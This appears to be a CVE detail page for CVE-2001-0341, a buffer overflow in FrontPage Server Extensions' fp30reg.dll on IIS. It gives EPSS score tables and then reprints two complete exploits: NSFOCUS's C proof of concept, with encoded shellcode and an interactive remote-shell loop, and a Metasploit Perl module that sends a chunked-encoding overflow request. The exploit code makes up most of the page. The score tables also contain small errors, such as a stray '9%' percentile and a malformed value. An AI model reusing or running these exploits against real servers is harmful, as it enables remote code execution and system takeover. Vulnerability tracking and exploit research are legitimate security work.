CVE-2001-0341 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	24.73%	–	–
2022-04-03	–	–	24.73%	–	–
2023-03-12	–	–	–	2.38%	–
2023-09-17	–	–	–	2.38%	–
2024-02-18	–	–	–	2.38%	–
2024-02-25	–	–	–	3.33%	–
2024-06-02	–	–	–	3.33%	–
2024-08-25	–	–	–	3.33%	–
2024-09-29	–	–	–	3.33%	–
2024-10-13	–	–	–	3.33%	–
2024-12-22	–	–	–	1.6%	–
2025-01-19	–	–	–	1.6%	–
2025-03-18	–	–	–	–	26.32%
2025-04-15	–	–	–	–	25.17%
2025-04-15	–	–	–	–	25.17,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	95%
2022-04-03	97%
2023-03-12	88%
2023-09-17	89%
2024-02-18	9%
2024-02-25	91%
2024-06-02	91%
2024-08-25	92%
2024-09-29	91%
2024-10-13	92%
2024-12-22	87%
2025-01-19	87%
2025-03-18	96%
2025-04-15	96%
2025-04-15	96%

// source: https://www.securityfocus.com/bid/2906/info Due to an unchecked buffer in a subcomponent of FrontPage Server Extensions (Visual InterDev RAD Remote Deployment Support), a specially crafted request via 'fp30reg.dll' could allow a user to execute arbitrary commands in the context of IWAM_machinename on a host running IIS 5.0. A host running IIS 4.0, could allow the execution of arbitrary commands in the SYSTEM context. /* * fpse2000ex.c - Proof of concept code for fp30reg.dll overflow bug. * Copyright (c) 2001 - Nsfocus.com * * DISCLAIMS: * This is a proof of concept code. This code is for test purpose * only and should not be run against any host without permission from * the system administrator. * * NSFOCUS Security Team <security@nsfocus.com> * http://www.nsfocus.com */ #include <stdio.h> #include <sys/time.h> #include <sys/types.h> #include <netinet/in.h> #include <netdb.h> #include <signal.h> #include <unistd.h> #include <errno.h> /* fat shellcode ;) */ char shellcode[] = "\xeb\x1a\x5f\x56\x56\x57\x5e\x33\xc9\xac\x3a\xc1\x74\x13\x3c\x30\x74\x5\x34" "\xaa\xaa\xeb\xf2\xac\x2c\x40\xeb\xf6\xe8\xe1\xff\xff\xff\xff\x21\x46\x2b\x46" "\xb6\xa3\xaa\xaa\xf9\xfc\xfd\x27\x17\x4e\x5c\x55\x55\x13\xed\xa8\xaa\xaa\x12" "\x66\x66\x66\x66\x59\x1\x6d\x2f\x66\x5d\x55\x55\xaa\xaa\xaa\xaa\x21\xef\xa2" "\x21\x22\x2e\xaa\xaa\xaa\x23\x27\x62\x5d\x55\x55\x21\xff\xa2\x21\x28\x22\xaa" "\xaa\xaa\x23\x2f\x6e\x5d\x55\x55\x21\xe7\xa2\x21\xfb\xa2\x23\x3f\x6a\x5d\x55" "\x55\x43\x61\xaf\xaa\xaa\x25\x2f\x16\x5d\x55\x55\x27\x17\x5a\x5d\x55\x55\xce" "\xb\xaa\xaa\xaa\xaa\x23\xed\xa2\xce\x23\x97\xaa\xaa\xaa\xaa\x6d\x2f\x5a\x5d" "\x55\x55\x55\x55\x55\x55\x21\x2f\x16\x5d\x55\x55\x29\x42\xad\x23\x2f\x5e\x5d" "\x55\x55\x6d\x2f\x12\x5d\x55\x55\xaa\xaa\x4a\xdd\x42\xcd\xaf\xaa\xaa\x29\x17" "\x66\x5d\x55\x55\xaa\xa5\x2f\x77\xab\xaa\xaa\x21\x27\x12\x5d\x55\x55\x2b\x6b" "\xaa\xaa\xab\xaa\x23\x27\x12\x5d\x55\x55\x2b\x17\x12\x5d\x55\x55\xaa\xaa\xaa" "\xd2\xdf\xa0\x6d\x2f\x12\x5d\x55\x55\xaa\xaa\x5a\x15\x21\x3f\x12\x5d\x55\x55" "\x99\x6a\xcc\x21\xa8\x97\xe7\xf0\xaa\xaa\xa5\x2f\x30\x70\xab\xaa\xaa\x21\x27" "\x12\x5d\x55\x55\x21\xfb\x96\x21\x2f\x12\x5d\x55\x55\x99\x63\xcc\x21\xa6\xba" "\x2b\x53\xfa\xef\xaa\xaa\xa5\x2f\xd3\xab\xaa\xaa\x21\x3f\x12\x5d\x55\x55\x21" "\xe8\x96\x21\x27\x12\x5d\x55\x55\x21\xfe\xab\xd2\xa9\x3f\x12\x5d\x55\x55\x23" "\x3f\x1e\x5d\x55\x55\x21\x2f\x1e\x5d\x55\x55\x21\xe2\xa6\xa9\x27\x12\x5d\x55" "\x55\x23\x27\x6\x5d\x55\x55\x21\x3f\x6\x5d\x55\x55\x2b\x90\xe1\xef\xf8\xe4\xa5" "\x2f\x99\xab\xaa\xaa\x21\x2f\x6\x5d\x55\x55\x2b\xd2\xae\xef\xe6\x99\x98\xa5" "\x2f\x8a\xab\xaa\xaa\x21\x27\x12\x5d\x55\x55\x23\x27\xe\x5d\x55\x55\x21\x3f" "\x1e\x5d\x55\x55\x21\x2f\x12\x5d\x55\x55\xa9\xe8\x8a\x23\x2f\x6\x5d\x55\x55" "\x6d\x2f\x2\x5d\x55\x55\xaa\xaa\xaa\xaa\x41\xb4\x21\x27\x2\x5d\x55\x55\x29\x6b" "\xab\x23\x27\x2\x5d\x55\x55\x21\x3f\x6\x5d\x55\x55\x29\x68\xae\x23\x3f\x6\x5d" "\x55\x55\x21\x2f\x1e\x5d\x55\x55\x21\x27\x2\x5d\x55\x55\x91\xe2\xb2\xa5\x27" "\x6a\xaa\xaa\xaa\x21\x3f\x6\x5d\x55\x55\x21\xa8\x21\x27\x12\x5d\x55\x55\x2b" "\x96\xab\xed\xcf\xde\xfa\xa5\x2f\xa\xaa\xaa\xaa\x21\x3f\x6\x5d\x55\x55\x21\xa8" "\x21\x27\x12\x5d\x55\x55\x2b\xd6\xab\xae\xd8\xc5\xc9\xeb\xa5\x2f\x2e\xaa\xaa" "\xaa\x21\x3f\x2\x5d\x55\x55\xa9\x3f\x2\x5d\x55\x55\xa9\x3f\x12\x5d\x55\x55" "\x21\x2f\x1e\x5d\x55\x55\x21\xe2\x8e\x99\x6a\xcc\x21\xae\xa0\x23\x2f\x6\x5d" "\x55\x55\x21\x27\x1e\x5d\x55\x55\x21\xfb\xba\x21\x2f\x6\x5d\x55\x55\x27\xe6" "\xba\x55\x23\x27\x6\x5d\x55\x55\x21\x3f\x6\x5d\x55\x55\xa9\x3f\x6\x5d\x55\x55" "\xa9\x3f\x6\x5d\x55\x55\xa9\x3f\x6\x5d\x55\x55\xa9\x3f\x12\x5d\x55\x55\x21\x2f" "\x1e\x5d\x55\x55\x21\xe2\xb6\x21\xbe\xa0\x23\x3f\x6\x5d\x55\x55\x21\x2f\x6\x5d" "\x55\x55\xa9\x2f\x12\x5d\x55\x55\x23\x2f\x66\x5d\x55\x55\x41\xaf\x43\xa7\x55" "\x55\x55\x43\xbc\x54\x55\x55\x27\x17\x5a\x5d\x55\x55\x21\xed\xa2\xce\x9\xaa" "\xaa\xaa\xaa\x29\x17\x66\x5d\x55\x55\xaa\xdf\xaf\x43\xf4\xa9\xaa\xaa\x6d\x2f" "\x6\x5d\x55\x55\xab\xaa\xaa\xaa\x41\xa5\x21\x27\x6\x5d\x55\x55\x29\x6b\xab\x23" "\x27\x6\x5d\x55\x55\x29\x17\x6\x5d\x55\x55\xa2\xd7\xc4\x21\x5e\x21\x3f\x16" "\x5d\x55\x55\xf8\x21\x2f\xe\x5d\x55\x55\xfa\x55\x3f\x66\x5d\x55\x55\x91\x5e" "\x3a\xe9\xe1\xe9\xe1\x21\x27\x6\x5d\x55\x55\x23\x2e\x27\x7a\x5d\x55\x55\x41" "\xa5\x21\x3f\x16\x5d\x55\x55\x29\x68\xab\x23\x3f\x16\x5d\x55\x55\x21\x2f\x16" "\x5d\x55\x55\xa5\x14\xa2\x2f\x63\xdf\xba\x21\x3f\x16\x5d\x55\x55\xa5\x14\xe8" "\xab\x2f\x6a\xde\xa8\x41\xa8\x41\x78\x21\x27\x16\x5d\x55\x55\x29\x6b\xab\x23" "\x27\x16\x5d\x55\x55\x43\xd0\x55\x55\x55\x6d\x2f\x8e\x5d\x55\x55\xa6\xaa\xaa" "\xaa\x6d\x2f\x82\x5d\x55\x55\xaa\xaa\xaa\xaa\x6d\x2f\x86\x5d\x55\x55\xab\xaa" "\xaa\xaa\x21\x5e\xc0\xaa\x27\x3f\x8e\x5d\x55\x55\xf8\x27\x2f\xe2\x5d\x55\x55" "\xfa\x27\x27\xe6\x5d\x55\x55\xfb\x55\x3f\x7e\x5d\x55\x55\x91\x5e\x3a\xe9\xe1" "\xe9\xe1\x21\x5e\xc0\xaa\x27\x3f\x8e\x5d\x55\x55\xf8\x27\x2f\xea\x5d\x55\x55" "\xfa\x27\x27\xee\x5d\x55\x55\xfb\x55\x3f\x7e\x5d\x55\x55\x91\x5e\x3a\xe9\xe1" "\xe9\xe1\x27\x17\xca\x5d\x55\x55\x99\x6a\x13\xbb\xaa\xaa\xaa\x58\x1\x6d\x2f" "\x26\x5d\x55\x55\xab\xab\xaa\xaa\xcc\x6d\x2f\x3a\x5d\x55\x55\xaa\xaa\x21\x3f" "\xee\x5d\x55\x55\x23\x3f\x32\x5d\x55\x55\x21\x2f\xe2\x5d\x55\x55\x23\x2f\x36" "\x5d\x55\x55\x21\x27\xe2\x5d\x55\x55\x23\x27\xa\x5d\x55\x55\x6d\x2f\x6\x5d\x55" "\x55\xaa\xaa\xaa\xaa\x21\x5e\x27\x3f\xfa\x5d\x55\x55\xf8\x27\x2f\xca\x5d\x55" "\x55\xfa\xc0\xaa\xc0\xaa\xc0\xaa\xc0\xab\xc0\xaa\xc0\xaa\x21\x27\x16\x5d\x55" "\x55\xfb\xc0\xaa\x55\x3f\x72\x5d\x55\x55\x91\x5e\x3a\xe9\xe1\xe9\xe1\x23\x2f" "\x6\x5d\x55\x55\x21\x3f\x16\x5d\x55\x55\x29\x68\xa2\x23\x3f\x16\x5d\x55\x55" "\x21\x5e\xc0\xaa\xc0\xaa\x27\x2f\x96\x5d\x55\x55\xfa\xc2\xaa\xa2\xaa\xaa\x27" "\x27\x56\x5d\x55\x55\xfb\x21\x3f\xe6\x5d\x55\x55\xf8\x55\x3f\x4a\x5d\x55\x55" "\x91\x5e\x3a\xe9\xe1\xe9\xe1\x6d\x2f\x6\x5d\x55\x55\xa2\xaa\xaa\xaa\x21\x5e" "\xc0\xaa\x27\x2f\x6\x5d\x55\x55\xfa\x21\x27\x16\x5d\x55\x55\x29\x6b\xa3\xfb" "\x21\x3f\x6a\x5d\x55\x55\xf8\x55\x3f\x62\x5d\x55\x55\x91\x5e\x3a\xe9\xe1\xe9" "\xe1\x12\xab\xaa\xaa\xaa\x2f\x6a\xa5\x2e\xf4\xab\xaa\xaa\x21\x5e\xc0\xaa\xc0" "\xaa\x27\x27\x96\x5d\x55\x55\xfb\xc2\xaa\xa2\xaa\xaa\x27\x3f\x56\x5d\x55\x55" "\xf8\x21\x2f\xe6\x5d\x55\x55\xfa\x55\x3f\x4a\x5d\x55\x55\x91\x5e\x3a\xe9\xe1" "\xe9\xe1\x29\x17\x96\x5d\x55\x55\xaa\xd4\xcb\x21\x5e\xc0\xaa\x27\x27\x96\x5d" "\x55\x55\xfb\x21\x3f\x96\x5d\x55\x55\xf8\x27\x2f\x56\x5d\x55\x55\xfa\x21\x27" "\xe6\x5d\x55\x55\xfb\x55\x3f\x4e\x5d\x55\x55\x91\x5e\x3a\xe9\xe1\xe9\xe1\x29" "\x17\x96\x5d\x55\x55\xaa\xd4\x8c\x21\x5e\xc0\xaa\x27\x3f\x96\x5d\x55\x55\xf8" "\x27\x2f\x56\x5d\x55\x55\xfa\x21\x27\x6a\x5d\x55\x55\xfb\x55\x3f\x62\x5d\x55" "\x55\x91\x5e\x3a\xe9\xe1\xe9\xe1\x43\x68\xaa\xaa\xaa\x6d\x2f\x96\x5d\x55\x55" "\xaa\xa2\xaa\xaa\x21\x5e\x27\x3f\x96\x5d\x55\x55\xf8\x27\x2f\x56\x5d\x55\x55" "\xfa\x21\x27\x6a\x5d\x55\x55\xfb\x55\x3f\x6e\x5d\x55\x55\x91\x5e\x3a\xe9\xe1" "\xe9\xe1\x23\x2f\x6\x5d\x55\x55\x29\x17\x6\x5d\x55\x55\xab\xde\xf2\x6d\x2f\x6" "\x5d\x55\x55\xa2\xaa\xaa\xaa\x21\x5e\xc0\xaa\x27\x3f\x6\x5d\x55\x55\xf8\x21" "\x2f\x6\x5d\x55\x55\xfa\x21\x27\x16\x5d\x55\x55\xfb\x21\x3f\xea\x5d\x55\x55" "\xf8\x55\x3f\x42\x5d\x55\x55\x91\x5e\x3a\xe9\xe1\xe9\xe1\x12\xab\xaa\xaa\xaa" "\x2f\x6a\xde\xbc\x21\x5e\xc2\x55\x55\x55\xd5\x55\x3f\x46\x5d\x55\x55\x91\x5e" "\x3a\xe9\xe1\xe9\xe1\x41\x4b\x41\x87\x21\x5e\xc0\xaa\x27\x27\x96\x5d\x55\x55" "\xfb\x21\x3f\x96\x5d\x55\x55\xf8\x27\x2f\x56\x5d\x55\x55\xfa\x21\x27\xea\x5d" "\x55\x55\xfb\x55\x3f\x42\x5d\x55\x55\x91\x5e\x3a\xe9\xe1\xe9\xe1\x43\x3f\x54" "\x55\x55\x41\x54\xf2\xfa\x21\x17\x16\x5d\x55\x55\x23\xed\x58\x69\x21\xee\x8e" "\xa6\xaf\x12\xaa\xaa\xaa\x6d\xaa\xee\x99\x88\xbb\x99\x6a\x69\x41\x46\x42\x9a" "\x50\x55\x55\xe9\xd8\xcf\xcb\xde\xcf\xfa\xc3\xda\xcf\xaa\xe9\xd8\xcf\xcb\xde" "\xcf\xfa\xd8\xc5\xc9\xcf\xd9\xd9\xeb\xaa\xe9\xc6\xc5\xd9\xcf\xe2\xcb\xc4\xce" "\xc6\xcf\xaa\xfa\xcf\xcf\xc1\xe4\xcb\xc7\xcf\xce\xfa\xc3\xda\xcf\xaa\xf8\xcf" "\xcb\xce\xec\xc3\xc6\xcf\xaa\xfd\xd8\xc3\xde\xcf\xec\xc3\xc6\xcf\xaa\xf9\xc6" "\xcf\xcf\xda\xaa\xaa\xc9\xc7\xce\x84\xcf\xd2\xcf\xaa\xa7\xa0\xcf\xd2\xc3\xde" "\xa7\xa0\xaa\xf2\xe5\xf8\xee\xeb\xfe\xeb\xaa"; int resolv (char *host, long *ip) { struct hostent *hp; if ((*ip = inet_addr (host))<0) { if ((hp = gethostbyname (host)) == NULL) { fprintf (stderr, "%s: unknown host\n", host); exit (-1); } *ip = *(unsigned long *) hp->h_addr; } return 0; } int connect_to (char *hostname, short port) { struct sockaddr_in sa; int s; s = socket (AF_INET, SOCK_STREAM, 0); resolv (hostname, (long *) &sa.sin_addr.s_addr); sa.sin_family = AF_INET; sa.sin_port = htons (port); if (connect (s, (struct sockaddr *) &sa, sizeof (sa)) == -1) { perror("connect"); exit(-1); } return s; } void runshell (int sockd) { char buff[1024]; int ret; fd_set fds; printf("\nPress CTRL_C to exit the shell!\n"); for (;;) { FD_ZERO (&fds); FD_SET (0, &fds); FD_SET (sockd, &fds); if (select (sockd + 1, &fds, NULL, NULL, NULL) < 0) { exit (-1); } if (FD_ISSET (sockd, &fds)) { bzero (buff, sizeof buff); if ((ret=read(sockd,buff,sizeof(buff)))<1) { fprintf (stderr, "Connection closed\n"); exit (-1); } write(1,buff,ret); } if (FD_ISSET (0, &fds)) { bzero (buff, sizeof buff); ret=read(0,buff,sizeof(buff)); write(sockd,buff,ret); } } } main (int argc, char **argv) { char overbuff[400]; char buff[4096]; /* If system has the unicode bug, it is possible to attack fp4areg.dll */ /* char fppath[] = "/_vti_bin/..%c1%9cbin/fp4areg.dll"; */ char fppath[] = "/_vti_bin/_vti_aut/fp30reg.dll"; char server[] = "www.blahblah.com"; char retaddress[] = "\x62\x18\xd5\x67"; char jmpshell[] = "\xff\x66\x78"; int i, sockfd; int port = 80; if (argc < 2) { printf ("Proof of concept code for fp30reg.dll overflow bug by NSFOCUS Security Team\n\n"); printf ("Usage: %s victim [port]\n", argv[0]); exit (-1); } if (argc > 2) port = atoi (argv[2]); sockfd = connect_to (argv[1], port); bzero (overbuff, sizeof (overbuff)); bzero (buff, sizeof (buff)); memset (overbuff, 'a', 258); memcpy (overbuff, jmpshell, strlen (jmpshell)); strcpy (overbuff + 258, "%c"); for (i = 0; i < 0x50; i += 4) strncat (overbuff, retaddress, 4); strcat (overbuff, "aaa"); sprintf (buff, "GET %s?%s HTTP/1.1 \nHOST:%s\r\nContent-Type: \ text/html\nContent-Length:%d\r\nProxy_Connection: Keep-Alive\r\n\r\n%s", fppath, overbuff, server, strlen (shellcode), shellcode); printf ("buff len = %d\n", strlen (buff)); write (sockfd, buff, strlen (buff)); printf ("payload sent!\n"); if(read (sockfd, buff, strlen(buff))<0) { printf("EOF\n"); exit(-1); } else { if(memcmp(buff,"XORDATA",8)==0) { printf("exploit succeed\n"); /* Press Enter key to get the command prompt */ runshell (sockfd); } else { printf("exploit failed\n"); close(sockfd); exit(-1); } } }

source: https://www.securityfocus.com/bid/2906/info Due to an unchecked buffer in a subcomponent of FrontPage Server Extensions (Visual InterDev RAD Remote Deployment Support), a specially crafted request via 'fp30reg.dll' could allow a user to execute arbitrary commands in the context of IWAM_machinename on a host running IIS 5.0. A host running IIS 4.0, could allow the execution of arbitrary commands in the SYSTEM context. package Msf::Exploit::frontpage_fp30reg_chunked; use base "Msf::Exploit"; use strict; my $advanced = { }; my $info = { 'Name' => 'Frontpage fp30reg.dll Chunked Encoding', 'Version' => '$Revision: 1.19 $', 'Authors' => [ 'H D Moore <hdm [at] metasploit.com> [Artistic License]', ], 'Arch' => [ 'x86' ], 'OS' => [ 'win32' ], 'Priv' => 0, 'UserOpts' => { 'RHOST' => [1, 'ADDR', 'The target address'], 'RPORT' => [1, 'PORT', 'The target port', 80], 'SSL' => [0, 'BOOL', 'Use SSL'], }, 'Payload' => { 'Space' => 1024, 'BadChars' => "\x00+&=%\x0a\x0d\x20", }, 'Description' => qq{ This is an exploit for the chunked encoding buffer overflow described in MS03-051 and originally reported by Brett Moore. This particular modules works against versions of Windows 2000 between SP0 and SP3. Service Pack 4 fixes the issue. }, 'Refs' => [ 'http://www.osvdb.org/577', 'http://www.microsoft.com/technet/security/bulletin/ms03-051.mspx' ], 'DefaultTarget' => 0, 'Targets' => [ ['Windows 2000 SP0-SP3', 0x6c38a4d0], # from mfc42.dll ['Windows 2000 07/22/02', 0x67d44eb1], # from fp30reg.dll 07/22/2002 ['Windows 2000 10/06/99', 0x67d4665d], # from fp30reg.dll 10/06/1999 ], }; sub new { my $class = shift; my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_); return($self); } sub Exploit { my $self = shift; my $target_host = $self->GetVar('RHOST'); my $target_port = $self->GetVar('RPORT'); my $target_idx = $self->GetVar('TARGET'); my $shellcode =$self->GetVar('EncodedPayload')->Payload; my @targets; my @offsets; my $pad; my $ret = defined($target_idx) ? ($self->Targets->[ $target_idx ]->[1]) : $self->Targets->[0]->[1]; my $pattern = Pex::PatternCreate(0xDEAD); my $count = 0; while (1) { if ($count % 3 == 0) { $self->PrintLine("[*] Refreshing remote process..."); my $res = $self->Check(); $count = 0; } substr($pattern, 128, 4, pack("V", $ret)); substr($pattern, 264, 4, pack("V", $ret)); substr($pattern, 160, 7, "\x2d\xff\xfe\xff\xff" . "\xff\xe0"); substr($pattern, 280, 512, "\x90" x 512); substr($pattern, 792, length($shellcode), $shellcode); my $request; $request = "POST /_vti_bin/_vti_aut/fp30reg.dll HTTP/1.1\r\n"; $request .= "Host: $target_host:$target_port\r\n"; $request .= "Transfer-Encoding: chunked\r\n"; $request .= "\r\n"; $request .= "DEAD\r\n"; $request .= $pattern . "\r\n"; $request .= "0\r\n"; my $s = Msf::Socket->new( {"SSL" => $self->GetVar('SSL')} ); if (! $s->Tcp($target_host, $target_port)) { $self->FatalError("Could not connect: " . $s->GetError()); return; } $self->PrintLine("[*] Sending exploit request..."); $s->Send($request); sleep(1); $s->Close(); $count++; } return; } sub Check { my ($self) = @_; my $target_host = $self->GetVar('RHOST'); my $target_port = $self->GetVar('RPORT'); my $getreq = "GET /_vti_bin/_vti_aut/fp30reg.dll HTTP/1.1\r\n". "Host: $target_host:$target_port\r\n\r\n"; my $s = Msf::Socket->new( {"SSL" => $self->GetVar('SSL')} ); if (! $s) { $self->PrintLine("[*] Could not create the socket"); return(0); } if (! $s->Tcp($target_host, $target_port)) { $self->PrintLine("[*] Could not connect: " . $s->GetError()); return(0); } $s->Send($getreq); my $res = $s->Recv(-1, 10); $s->Close(); if ($res !~ /501 Not Implemented/) { $self->PrintLine("[*] Frontpage component was not found"); return(0); } $self->PrintLine("[*] Frontpage component found"); return(1); }